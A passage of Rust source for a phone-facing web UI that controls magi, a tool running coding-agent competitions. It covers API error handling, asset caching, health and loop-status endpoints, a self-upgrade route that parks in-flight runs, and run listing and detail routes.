884                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
885                     local-only and a phone cannot reach it; start Tailscale \
886                     or pass --bind <addr>"
887                )),
888            ),
889        },
890    }
891}
892
893/// This machine's Tailscale IPv4, or why there is not one.
894///
895/// `tailscale ip -4` is a local call against the running daemon and returns in
896/// milliseconds, so it is fine to make it synchronously before the server
897/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
898/// CGNAT block Tailscale assigns from, and anything else on that output would
899/// be a different tool answering.
900fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
901    let out = std::process::Command::new("tailscale")
902        .args(["ip", "-4"])
903        .quiet()
904        .output()
905        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
906    if !out.status.success() {
907        let why = String::from_utf8_lossy(&out.stderr);
908        let why = why.trim();
909        return Err(format!(
910            "`tailscale ip -4` failed ({}){}",
911            out.status,
912            if why.is_empty() {
913                String::new()
914            } else {
915                format!(": {why}")
916            }
917        ));
918    }
919    String::from_utf8_lossy(&out.stdout)
920        .lines()
921        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
922        .find(is_tailnet)
923        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
924}
925
926/// Is this address in the CGNAT block Tailscale hands out from?
927fn is_tailnet(ip: &Ipv4Addr) -> bool {
928    let o = ip.octets();
929    o[0] == 100 && (64..=127).contains(&o[1])
930}
931
932/// What every handler returns. Spelled out because `Result` in this crate is
933/// `anyhow::Result`, and a handler's error is a status code as much as a
934/// message.
935type ApiResult<T> = std::result::Result<T, ApiError>;
936
937/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
938#[derive(Debug)]
939struct ApiError {
940    status: StatusCode,
941    message: String,
942    /// Every separate thing wrong with what the client sent, when there is
943    /// more than one and the client is expected to fix them all.
944    ///
945    /// Only `POST /api/chats/{id}/file` populates it, and it is skipped when
946    /// empty so every other error body stays exactly the shape the front end
947    /// already parses. The reason it exists at all is that the operator
948    /// rejecting a draft is on a phone: a task file with no acceptance
949    /// criteria and no title is one edit, and reporting it as two round trips
950    /// means asking an agent to rewrite the draft twice.
951    problems: Vec<String>,
952}
953
954impl ApiError {
955    /// The client asked for something malformed.
956    fn bad_request(message: impl Into<String>) -> Self {
957        Self {
958            status: StatusCode::BAD_REQUEST,
959            message: message.into(),
960            problems: Vec::new(),
961        }
962    }
963
964    /// The client asked for something malformed in several ways at once.
965    fn bad_request_with(message: impl Into<String>, problems: Vec<String>) -> Self {
966        Self {
967            problems,
968            ..Self::bad_request(message)
969        }
970    }
971
972    /// No such run or task.
973    fn not_found(message: impl Into<String>) -> Self {
974        Self {
975            status: StatusCode::NOT_FOUND,
976            message: message.into(),
977            problems: Vec::new(),
978        }
979    }
980
981    /// Someone else owns the thing the client wants to change.
982    /// Re-badge an error whose default mapping is wrong for this route.
983    fn with_status(mut self, status: StatusCode) -> Self {
984        self.status = status;
985        self
986    }
987
988    /// A rules violation from a domain type, reported as the caller's fault.
989    /// `Question::answer` rejects an unoffered choice, and that is a bad
990    /// request, not a server error.
991    fn bad_request_from(e: anyhow::Error) -> Self {
992        Self::bad_request(format!("{e:#}"))
993    }
994
995    fn conflict(message: impl Into<String>) -> Self {
996        Self {
997            status: StatusCode::CONFLICT,
998            message: message.into(),
999            problems: Vec::new(),
1000        }
1001    }
1002
1003    /// Our fault, or the disk's.
1004    fn internal(message: impl Into<String>) -> Self {
1005        Self {
1006            status: StatusCode::INTERNAL_SERVER_ERROR,
1007            message: message.into(),
1008            problems: Vec::new(),
1009        }
1010    }
1011}
1012
1013impl From<anyhow::Error> for ApiError {
1014    /// Errors from `queue` and `run` carry their context chain, and the whole
1015    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1016    /// value at line 3" is a message an operator can act on, and there is no
1017    /// secret in a path on a single-user tailnet.
1018    fn from(e: anyhow::Error) -> Self {
1019        Self::internal(format!("{e:#}"))
1020    }
1021}
1022
1023impl IntoResponse for ApiError {
1024    fn into_response(self) -> Response {
1025        let mut body = serde_json::json!({ "error": self.message });
1026        if !self.problems.is_empty() {
1027            // `json!` above built an object, so this cannot be `None`.
1028            if let Some(map) = body.as_object_mut() {
1029                map.insert("problems".to_owned(), serde_json::json!(self.problems));
1030            }
1031        }
1032        (self.status, Json(body)).into_response()
1033    }
1034}
1035
1036/// Run a handler's filesystem work off the executor.
1037///
1038/// Every route that touches the disk goes through here rather than each one
1039/// arguing about whether its own read is small enough. Uniform because the
1040/// expensive case is not rare: `run.json` for a finished competition holds
1041/// every judgement, deliberation turn and review round, so listing a few
1042/// hundred runs is megabytes of parsing, and the executor threads doing it are
1043/// the same ones serving the change stream of every other connected phone.
1044async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1045where
1046    T: Send + 'static,
1047{
1048    match tokio::task::spawn_blocking(job).await {
1049        Ok(result) => result,
1050        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1051    }
1052}
1053
1054/// Cache policy for the three compiled-in front-end files.
1055///
1056/// The whole interface is `include_str!`ed into the binary, so its content
1057/// changes only when the binary does - and a phone that keeps a copy is
1058/// welcome to, right up until the deck is replaced. Without a single cache
1059/// header, browsers were free to invent their own policy, and one did:
1060/// yukimemi's phone went on showing "Candidates must be folded before
1061/// deleting. Run `magi fold` first." - a sentence deleted two releases
1062/// earlier - from a run detail served by a deck that no longer contained it.
1063/// The delete button he was told about was right there, and unreachable.
1064///
1065/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1066/// every time, the answer is a 304 costing one small round trip while the
1067/// deck is unchanged, and the moment it is replaced the tag differs and the
1068/// new interface arrives. Correctness over bytes - this is one file of a few
1069/// tens of kilobytes on a tailnet, and being a version behind is not a
1070/// cosmetic problem when the difference is whether a button exists.
1071const ASSET_CACHE: &str = "no-cache, must-revalidate";
1072
1073/// `ETag` for the compiled-in assets, distinct per build.
1074///
1075/// The version alone would leave a locally built deck - `cargo install
1076/// --path .` twice at the same version, which is the normal way to iterate -
1077/// serving a stale tag for changed bytes. The build timestamp is what makes
1078/// two builds of `0.3.0` differ.
1079fn asset_etag() -> &'static str {
1080    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1081        format!(
1082            "\"{}-{}\"",
1083            env!("CARGO_PKG_VERSION"),
1084            // Length is a cheap, deterministic stand-in for a hash: the
1085            // three files are compiled in together, so any edit to any of
1086            // them almost certainly changes the total, and a rebuild is what
1087            // this needs to track rather than every possible byte pattern.
1088            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1089        )
1090    });
1091    &TAG
1092}
1093
1094/// Headers for a compiled-in asset of `mime`.
1095fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1096    [
1097        (header::CONTENT_TYPE, mime),
1098        (header::CACHE_CONTROL, ASSET_CACHE),
1099        (header::ETAG, asset_etag()),
1100    ]
1101}
1102
1103/// Serve a compiled-in asset, answering `304` when the client already has it.
1104///
1105/// axum does not compare `If-None-Match` for us, and a header the server sets
1106/// but never honours is worse than none: the phone revalidates on every load
1107/// and is handed the whole file back each time. Doing the comparison is what
1108/// makes `must-revalidate` cost one small round trip rather than the
1109/// interface.
1110fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1111    let tag = asset_etag();
1112    let known = headers
1113        .get(header::IF_NONE_MATCH)
1114        .and_then(|v| v.to_str().ok())
1115        // A revalidating client may send several, and a proxy may weaken the
1116        // tag to `W/"..."`; matching on containment covers both without
1117        // parsing the grammar.
1118        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1119    if known {
1120        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1121    }
1122    (asset_headers(mime), body).into_response()
1123}
1124
1125async fn index(headers: header::HeaderMap) -> Response {
1126    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1127}
1128
1129async fn app_css(headers: header::HeaderMap) -> Response {
1130    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1131}
1132
1133async fn app_js(headers: header::HeaderMap) -> Response {
1134    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1135}
1136
1137/// What `/api/health` answers.
1138#[derive(Debug, Serialize)]
1139struct HealthView {
1140    version: &'static str,
1141    home: String,
1142    queue_rev: u64,
1143    runs_rev: u64,
1144    /// The same two revisions [`events`] streams for the question and chat
1145    /// stores.
1146    ///
1147    /// Here because this route is what the front end falls back to when the
1148    /// change stream is not up - it re-polls health on a timer and on wake, and
1149    /// takes the revisions from the answer. Without these two the fallback
1150    /// compares `undefined` against `undefined` for both stores, decides
1151    /// nothing moved, and a phone with a dead stream never learns that a
1152    /// question was asked or that an interview took a turn. `queue_rev` and
1153    /// `runs_rev` above have always been here for exactly this reason; the rule
1154    /// is that every revision the stream carries, this route carries too.
1155    questions_rev: u64,
1156    /// See [`HealthView::questions_rev`].
1157    chats_rev: u64,
1158    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1159    /// is not on disk anywhere, so a phone with no change stream has no other
1160    /// way to notice that the loop it is waiting on was started from another
1161    /// device.
1162    loop_rev: u64,
1163    /// Runs on disk whose state this build cannot parse - almost always a
1164    /// schema bump, occasionally a run killed mid-write.
1165    ///
1166    /// Reported because the list silently skips them, and "no competitions
1167    /// yet" is a lie when six of them are sitting in the runs directory. The
1168    /// terminal deck learned the same lesson: a run that fails to parse must
1169    /// not disappear from the count.
1170    runs_unreadable: usize,
1171    /// Questions nobody has answered yet.
1172    ///
1173    /// The one number here that means "nothing will happen until a human
1174    /// acts": a parked run consumes nothing and progresses never.
1175    questions_open: usize,
1176    /// Interviews the operator started in the browser and has not filed.
1177    ///
1178    /// Unlike `questions_open` nothing is blocked on these - a chat is the
1179    /// operator's own half-finished thought. It is here because an interview
1180    /// that never became a task is invisible everywhere else: it is not in the
1181    /// queue and it is not in the run history, so without a count the phone
1182    /// has no way to say "you left one open".
1183    chats_open: usize,
1184    daemon: DaemonView,
1185    /// The loop in this process, exactly what `/api/loop` answers with.
1186    ///
1187    /// Here so a phone that has just woken needs one request to know whether
1188    /// anything is going to happen at all: `daemon` says a loop is alive
1189    /// somewhere, and this says whether it is one this UI can stop.
1190    #[serde(rename = "loop")]
1191    looping: LoopView,
1192}
1193
1194/// The daemon's state as the UI presents it.
1195#[derive(Debug, Serialize)]
1196struct DaemonView {
1197    running: bool,
1198    idle: Option<bool>,
1199    pid: Option<u32>,
1200    current: Option<daemon::Current>,
1201    completed: Option<u64>,
1202    stale_for_secs: Option<i64>,
1203}
1204
1205impl DaemonView {
1206    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
1207    /// not this UI's — a crashed daemon must not look alive here while
1208    /// `doctor` calls it dead.
1209    fn of(status: Option<daemon::Reading>) -> Self {
1210        let Some(status) = status else {
1211            return Self {
1212                running: false,
1213                idle: None,
1214                pid: None,
1215                current: None,
1216                completed: None,
1217                stale_for_secs: None,
1218            };
1219        };
1220        let now = Timestamp::now();
1221        let age = status.age_secs(now);
1222        Self {
1223            running: status.running(now),
1224            idle: Some(status.idle),
1225            pid: status.pid,
1226            current: status.current,
1227            completed: Some(status.completed),
1228            stale_for_secs: age,
1229        }
1230    }
1231}
1232
1233async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1234    blocking(move || {
1235        // One read of the status file for the two fields that describe it, so
1236        // `daemon` and `loop` in the same answer cannot disagree about who is
1237        // running the loop.
1238        let reading = daemon::read_status(&ui.home);
1239        // Read on its own line, not inside the literal below: the loop's lock
1240        // is not reentrant, and a guard taken as a temporary there would still
1241        // be held when `loop_view` took it again.
1242        let loop_rev = ui.lock_loop().rev;
1243        Ok(Json(HealthView {
1244            version: env!("CARGO_PKG_VERSION"),
1245            home: ui.home.display().to_string(),
1246            queue_rev: ui.queue.revision(),
1247            runs_rev: runs_revision(&ui.runs),
1248            questions_rev: ui.questions.revision(),
1249            chats_rev: ui.chats.revision(),
1250            loop_rev,
1251            runs_unreadable: runs_unreadable(&ui.runs),
1252            questions_open: ui.questions.count_open(),
1253            chats_open: ui.chats.count_open(),
1254            daemon: DaemonView::of(reading.clone()),
1255            looping: ui.loop_view(reading),
1256        }))
1257    })
1258    .await
1259}
1260
1261/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
1262#[derive(Debug, Serialize)]
1263struct LoopView {
1264    /// A loop is running in *this* process.
1265    running: bool,
1266    /// It has been asked to stop and is still finishing a run.
1267    ///
1268    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
1269    /// because the two differ exactly where it matters: a loop asked to stop
1270    /// while idle is gone within one poll interval, and one asked to stop
1271    /// mid-run keeps going for as long as the graph takes. The operator needs
1272    /// to be told which of those they are waiting for.
1273    stopping: bool,
1274    /// A park was asked for: the run in flight stops at its next node
1275    /// boundary rather than finishing.
1276    ///
1277    /// Separate from `stopping` because the two promise different waits. A
1278    /// stop is "when this competition ends", which can be an hour; a park is
1279    /// "after the step it is on", which is minutes and is what an operator
1280    /// waiting to replace the binary needs to see.
1281    parking: bool,
1282    /// The loop is this process's own.
1283    ///
1284    /// Spelled separately from `running` for the front end's sake, even
1285    /// though inside this process the two move together: `running: false`
1286    /// with `daemon.running: true` is the case where the operator's own `magi
1287    /// serve` owns the loop, and `owned` is the field that tells the UI its
1288    /// buttons have to explain that rather than pretend.
1289    owned: bool,
1290    /// Repository the loop uses for tasks that name none - what it was
1291    /// started with while it runs, and what a start would use before that.
1292    repo: String,
1293    /// Merge mode override in force, or `null` when each repository's own
1294    /// config decides.
1295    merge: Option<String>,
1296    /// Why the last loop in this process ended, when it ended badly.
1297    ///
1298    /// The only place a crashed loop is visible to someone holding a phone.
1299    /// It is logged at error level as well, but a terminal nobody kept open
1300    /// is not a report, and a loop that died at 3am must not read as merely
1301    /// stopped in the morning. Named as [`Task::last_error`] is, because it
1302    /// answers the same question about the same kind of failure.
1303    last_error: Option<String>,
1304    /// The status file, judged the same way `/api/health` judges it: this is
1305    /// what says whether a loop is alive in some *other* process.
1306    daemon: DaemonView,
1307}
1308
1309/// A loop another process already owns.
1310///
1311/// `<home>/daemon.json` is the only cross-process signal there is, so this is
1312/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
1313/// published by a pid that is not ours. Excluding our own pid is what makes
1314/// stopping work at all - the loop this process runs writes that file too, so
1315/// a check that ignored the pid would decide the operator's own UI was a
1316/// stranger and refuse to stop the loop it had just started.
1317#[derive(Debug, Clone, Copy)]
1318struct Foreign {
1319    /// The pid the other process published, when it published one.
1320    pid: Option<u32>,
1321}
1322
1323impl Foreign {
1324    /// Another process's live loop, or `None` when this process is free to
1325    /// run one.
1326    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1327        let reading = reading?;
1328        if !reading.running(Timestamp::now()) {
1329            return None;
1330        }
1331        match reading.pid {
1332            Some(pid) if pid == std::process::id() => None,
1333            // A fresh heartbeat with no pid in it is still evidence of a live
1334            // daemon. "Some other process" is the honest answer, and refusing
1335            // to start beside it is the safe one.
1336            pid => Some(Self { pid }),
1337        }
1338    }
1339
1340    /// How a conflict names it. The pid is the whole point of the message: it
1341    /// is what the operator needs to find the terminal that owns the loop.
1342    fn who(&self) -> String {
1343        match self.pid {
1344            Some(pid) => format!("another magi process (pid {pid})"),
1345            None => "another magi process".to_owned(),
1346        }
1347    }
1348}
1349
1350/// How a loop is started, as a future this module can hold onto.
1351///
1352/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
1353/// trait object or a hand-written `Debug` impl for the sake of one seam.
1354type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1355
1356/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
1357fn launch_daemon(
1358    opts: daemon::Opts,
1359    stop: daemon::Stop,
1360) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1361    Box::pin(daemon::serve_until(opts, stop))
1362}
1363
1364/// The loop this process runs, behind one lock.
1365#[derive(Debug, Default)]
1366struct LoopState {
1367    /// The loop, while there is one.
1368    live: Option<Live>,
1369    /// Bumped on every change to this struct, and streamed as `loop_rev`.
1370    ///
1371    /// The loop is in-process state rather than a file, so nothing on disk
1372    /// would tell a second phone that the first one started it. Without this
1373    /// counter the only way to learn about a start, a stop request or a crash
1374    /// would be to poll `/api/loop`, which is the thing the change stream
1375    /// exists to avoid on a mobile link.
1376    rev: u64,
1377    /// Why the last loop ended, when it ended badly. See
1378    /// [`LoopView::last_error`].
1379    last_error: Option<String>,
1380}
1381
1382/// A loop in flight.
1383#[derive(Debug)]
1384struct Live {
1385    /// The cooperative stop, shared with the loop task.
1386    stop: daemon::Stop,
1387    /// The task itself, kept only to answer whether it is still there: a loop
1388    /// that panicked never records its own end, and without this the view
1389    /// would go on reporting a loop that no longer exists - the one lie that
1390    /// would leave the operator with no button to press.
1391    handle: tokio::task::JoinHandle<()>,
1392    /// What the loop was started with, so the view reports the repository and
1393    /// merge mode its runs will actually use rather than what an edit to the
1394    /// config since would give.
1395    opts: daemon::Opts,
1396}
1397
1398impl Live {
1399    /// Is the task still there? See [`Live::handle`].
1400    fn alive(&self) -> bool {
1401        !self.handle.is_finished()
1402    }
1403}
1404
1405/// Take the loop lock, recovering from a poisoned one.
1406///
1407/// What this mutex holds is a stop flag, a task handle and two counters, none
1408/// of which a panic elsewhere can leave in a state worth refusing to read.
1409/// Propagating the poison instead would mean an operator who can see the loop
1410/// running and can no longer stop it from the only surface they have.
1411fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1412    state.lock().unwrap_or_else(PoisonError::into_inner)
1413}
1414
1415/// `GET /api/loop`.
1416async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1417    blocking(move || {
1418        let reading = daemon::read_status(&ui.home);
1419        Ok(Json(ui.loop_view(reading)))
1420    })
1421    .await
1422}
1423
1424/// The body of `POST /api/loop`.
1425///
1426/// One required field and nothing else: no `default` and no unknown fields,
1427/// so a body that fails to say which way the switch was flipped is a 400
1428/// rather than a tap that quietly does the opposite of what was pressed.
1429#[derive(Debug, Deserialize)]
1430#[serde(deny_unknown_fields)]
1431struct LoopCommand {
1432    running: bool,
1433    /// Stop the run in flight at its next node boundary rather than letting it
1434    /// finish.
1435    ///
1436    /// Defaults to false, so the plain stop keeps meaning what it meant: a
1437    /// competition is tens of minutes of paid work and finishing it is
1438    /// normally the cheapest thing to do. A park is for the operator who
1439    /// wants the process gone now - to replace the binary, most of all - and
1440    /// it costs at most the node in progress because every node writes its
1441    /// state before the next one starts.
1442    #[serde(default)]
1443    park: bool,
1444}
1445
1446/// `POST /api/loop` - start the loop in this process, or ask it to stop.
1447///
1448/// Answers with the view rather than waiting for the loop to reach the state
1449/// that was asked for. Starting is immediate anyway; stopping is not, and the
1450/// wait is a run's worth of minutes, which is not a thing to hold a phone's
1451/// request open for. `stopping` in the answer is what the operator watches
1452/// instead.
1453async fn loop_post(
1454    State(ui): State<Arc<Ui>>,
1455    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1456) -> ApiResult<Json<LoopView>> {
1457    // Taken as a `Result` so a malformed body is a 400 like every other route
1458    // here, rather than axum's default 422 that the UI has no branch for.
1459    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1460    blocking(move || {
1461        let reading = daemon::read_status(&ui.home);
1462        let foreign = Foreign::of(reading.as_ref());
1463        if body.running {
1464            ui.start_loop(foreign)?;
1465        } else {
1466            ui.stop_loop(foreign, body.park)?;
1467        }
1468        Ok(Json(ui.loop_view(reading)))
1469    })
1470    .await
1471}
1472
1473/// What `POST /api/upgrade` set in motion.
1474#[derive(Debug, Serialize)]
1475struct UpgradeView {
1476    /// The version this process is running.
1477    from: String,
1478    /// The release it is replacing itself with, when there is one.
1479    to: Option<String>,
1480    /// A run was parked first, and this is its id.
1481    parked: Option<String>,
1482    /// What the operator should expect to happen next.
1483    detail: String,
1484}
1485
1486/// `POST /api/upgrade` - replace this binary with the newest release and come
1487/// back on it.
1488///
1489/// The one thing the deck could not do for itself. Every fix landed today
1490/// either waited for a competition to end or went in with the deck stopped,
1491/// because `cargo install` cannot overwrite a running executable on Windows.
1492/// `kaishin` can: `self_replace` **renames** the running image aside and puts
1493/// the new one in its place, so the swap itself needs no downtime. Only the
1494/// restart does, and the order is the whole design:
1495///
1496/// 1. **Park.** A run in flight stops at its next node boundary and stays
1497///    resumable, so this costs at most the node in progress rather than the
1498///    competition. Without it the honest choices were waiting an hour or
1499///    discarding paid agent work.
1500/// 2. **Replace.** The new binary goes into place while this one still runs.
1501/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
1502///    successor - see [`spawn_successor`] for what happens in the other
1503///    order.
1504/// 4. **Resume.** The next loop carries the parked run on rather than
1505///    competing again; see `daemon::attempt`.
1506///
1507/// Answers **202**: the reply has to reach the phone while this process can
1508/// still send one, and the phone learns the deck is back by reconnecting.
1509async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1510    let reading = daemon::read_status(&ui.home);
1511    if let Some(other) = Foreign::of(reading.as_ref()) {
1512        return Err(ApiError::conflict(format!(
1513            "the loop belongs to {}, so replacing this binary would leave \
1514             that process running an old one against the same queue. Upgrade \
1515             where it was started.",
1516            other.who()
1517        )));
1518    }
1519
1520    // Asked before anything is disturbed. Restarting when there is nothing
1521    // to install is not a harmless no-op: it parks the run in flight and
1522    // drops every connection to pay for an upgrade that did not happen. A
1523    // probe against a deck already on the newest build did exactly that.
1524    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
1525    let latest = match crate::updater::Checker::new(&cfg.update) {
1526        Some(checker) => checker
1527            .newer_release()
1528            .await
1529            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
1530        None => None,
1531    };
1532    let Some(latest) = latest else {
1533        return Ok((
1534            StatusCode::OK,
1535            Json(UpgradeView {
1536                from: env!("CARGO_PKG_VERSION").to_owned(),
1537                to: None,
1538                parked: None,
1539                detail: "Already on the newest release. Nothing was parked \
1540                         and nothing restarted."
1541                    .to_owned(),
1542            }),
1543        ));
1544    };
1545
1546    // Parked before anything is replaced: a successor that came up while a
1547    // run was mid-node would find a run nobody is driving.
1548    let parked = ui.park_for_upgrade()?;
1549    let detail = match &parked {
1550        // Honest about the wait. A park takes effect at the *next* node
1551        // boundary, so a run mid-implement finishes that wave first - up to
1552        // `timeout_implement`, an hour by default. Saying "restarting now"
1553        // would make the deck look wedged for the rest of it.
1554        Some(run) => format!(
1555            "Run {} is parking at its next step, which can take as long as \
1556             the step it is on - up to an hour for an implement wave. The \
1557             deck replaces itself once it parks, comes back, and the loop \
1558             carries that run on from where it stopped. Nothing is lost if \
1559             you close this.",
1560            crate::run::short_of(run)
1561        ),
1562        None => "The deck replaces itself and comes back. Nothing was in \
1563                 flight to park."
1564            .to_owned(),
1565    };
1566
1567    tokio::spawn(async move {
1568        if let Err(e) = upgrade_and_restart().await {
1569            tracing::error!("the upgrade did not complete: {e:#}");
1570        }
1571    });
1572
1573    Ok((
1574        StatusCode::ACCEPTED,
1575        Json(UpgradeView {
1576            from: env!("CARGO_PKG_VERSION").to_owned(),
1577            to: Some(latest.tag_name.clone()),
1578            parked,
1579            detail,
1580        }),
1581    ))
1582}
1583
1584/// Replace the binary, then ask [`serve`] to hand the address over.
1585///
1586/// Separated from the handler so the 202 is already on its way, and separated
1587/// from the spawn so the successor starts only after the listener is dropped.
1588async fn upgrade_and_restart() -> Result<()> {
1589    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
1590    // hang the upgrade for as long as the process lives.
1591    crate::updater::run_self_update(true, false, true).await?;
1592    tracing::info!("binary replaced - asking the server to hand over");
1593    HANDOVER.notify_one();
1594    Ok(())
1595}
1596
1597/// One row in the run list.
1598///
1599/// The list route returns this rather than whole `RunState`s: the summary of a
1600/// run is a few hundred bytes and the state is megabytes, and the difference
1601/// is what makes the history usable on a mobile link.
1602#[derive(Debug, Serialize)]
1603struct RunSummary {
1604    id: String,
1605    short: String,
1606    status: String,
1607    done: bool,
1608    instruction: String,
1609    title: String,
1610    repo: String,
1611    repo_name: String,
1612    created_at: String,
1613    updated_at: String,
1614    candidates: usize,
1615    viable: usize,
1616    judges: usize,
1617    winner: Option<char>,
1618    reviews: usize,
1619    quota_losses: usize,
1620    event: Option<String>,
1621    /// The later attempt at the same task that replaced this one, if any.
1622    ///
1623    /// Two cards with one title is otherwise unreadable: this is what lets
1624    /// the deck say "superseded by 4043" on the older of the pair.
1625    superseded_by: Option<String>,
1626    /// Blocked on a question nobody has answered.
1627    ///
1628    /// Derived from the question store rather than stored on the run: an agent
1629    /// calling `magi ask` blocks mid-node, and writing a status from there
1630    /// would race the graph's own save of `run.json` and be overwritten at the
1631    /// next node boundary. Asking the store is always true and never races.
1632    waiting: bool,
1633    /// The land loop's last look at the pull request, when there is one.
1634    pr: Option<crate::run::PrRecord>,
1635}
1636
1637impl RunSummary {
1638    fn of(state: &RunState, waiting: bool) -> Self {
1639        Self {
1640            id: state.id.clone(),
1641            short: state.short().to_owned(),
1642            status: status_word(state.status),
1643            done: state.status.done(),
1644            instruction: state.instruction.clone(),
1645            title: title_from(&state.instruction, TITLE_MAX),
1646            repo: state.repo.display().to_string(),
1647            repo_name: state
1648                .repo
1649                .file_name()
1650                .map(|n| n.to_string_lossy().into_owned())
1651                .unwrap_or_default(),
1652            created_at: state.created_at.to_string(),
1653            updated_at: state.updated_at.to_string(),
1654            candidates: state.candidates.len(),
1655            viable: state.viable().len(),
1656            judges: state.config.graph.judges,
1657            winner: state.winner().map(|c| c.label),
1658            reviews: state.reviews.len(),
1659            quota_losses: state.quota.len(),
1660            event: state.events.last().map(|e| e.message.clone()),
1661            waiting,
1662            // Filled in by the list route, which is the only place that can
1663            // see a task's other attempts.
1664            superseded_by: None,
1665            pr: state.pr.clone(),
1666        }
1667    }
1668}
1669
1670/// `RunStatus` as the wire spells it. Every variant is one word, so this is
1671/// the same string `serde` writes for the status inside a full run.
1672fn status_word(status: RunStatus) -> String {
1673    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
1674    // was a third way of naming the same statuses, and one that changed
1675    // silently with a derive.
1676    status.as_str().to_owned()
1677}
1678
1679/// `?limit=`, clamped by the handler.
1680#[derive(Debug, Deserialize)]
1681struct ListQuery {
1682    #[serde(default)]
1683    limit: Option<usize>,
1684}
1685
1686async fn runs_list(
1687    State(ui): State<Arc<Ui>>,
1688    Query(q): Query<ListQuery>,
1689) -> ApiResult<Json<Vec<RunSummary>>> {
1690    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
1691    blocking(move || {
1692        let superseded = superseded_runs(&ui.queue);
1693        let summaries = run_ids(&ui.runs)
1694            .into_iter()
1695            // A run whose state cannot be read is skipped, not fatal: a run
1696            // killed mid-write must not blank the history of every other one.
1697            // The detail route still explains it, which is where an operator
1698            // asking "what happened to that run" ends up.
1699            .filter_map(|id| read_run(&ui.runs, &id).ok())
1700            .take(limit)
1701            .map(|state| {
1702                let waiting = !ui.questions.open_for(&state.id).is_empty();
1703                let by = superseded.get(&state.id).cloned();
1704                let mut row = RunSummary::of(&state, waiting);
1705                row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
1706                row
1707            })
1708            .collect();
1709        Ok(Json(summaries))
1710    })
1711    .await
1712}
1713
1714/// Runs that a later attempt at the same task replaced, mapped to the id of
1715/// the attempt that replaced them.
1716///
1717/// A task keeps its attempts in order, and the deck showed them as two cards
1718/// with the same title and no hint which was which: yukimemi asked why
1719/// `stalled` and `blocked` appeared twice for one task, and the answer -
1720/// "those are two tries, and the second one exists because of a bug since
1721/// fixed" - was not on the screen anywhere.
1722///
1723/// Read from the queue rather than stored on the run, because the ordering is
1724/// the queue's fact: a `RunState` has no idea another attempt happened after
1725/// it.
1726fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
1727    let mut by = HashMap::new();
1728    for task in queue.list() {
1729        for pair in task.runs.windows(2) {
1730            if let [earlier, later] = pair {
1731                by.insert(earlier.clone(), later.clone());
1732            }
1733        }
1734    }
1735    by
1736}
1737
1738/// A run as the detail route hands it to the phone.
1739///
1740/// The whole state, flattened, plus `instruction_md`: the Task panel renders
1741/// the instruction as markdown, and the raw `instruction` field this struct
1742/// still carries (unchanged) is what a client wanting the exact bytes reads
1743/// instead.
1744#[derive(Debug, Serialize)]
1745struct RunDetailView {
1746    #[serde(flatten)]
1747    state: RunState,
1748    instruction_md: Vec<md::Node>,
1749}
1750
1751impl From<RunState> for RunDetailView {
1752    fn from(state: RunState) -> Self {
1753        Self {
1754            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
1755            state,
1756        }
1757    }
1758}
1759
1760async fn run_detail(
1761    State(ui): State<Arc<Ui>>,
1762    Path(id): Path<String>,
1763) -> ApiResult<Json<RunDetailView>> {
1764    blocking(move || {
1765        let id = resolve_run(&ui.runs, &id)?;
1766        Ok(Json(RunDetailView::from(read_run(&ui.runs, &id)?)))
1767    })
1768    .await
1769}
1770
1771/// `DELETE /api/runs/{id}`.
1772///
1773/// Remove a finished, folded run directory along with its artifacts.
1774/// Running runs and runs with unfolded candidate worktrees/branches cannot be
1775/// deleted. This never touches git worktrees or branches.
1776async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
1777    blocking(move || {
1778        let id = resolve_run(&ui.runs, &id)?;
1779        let state = read_run(&ui.runs, &id)?;
1780        let in_flight = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
1781        state
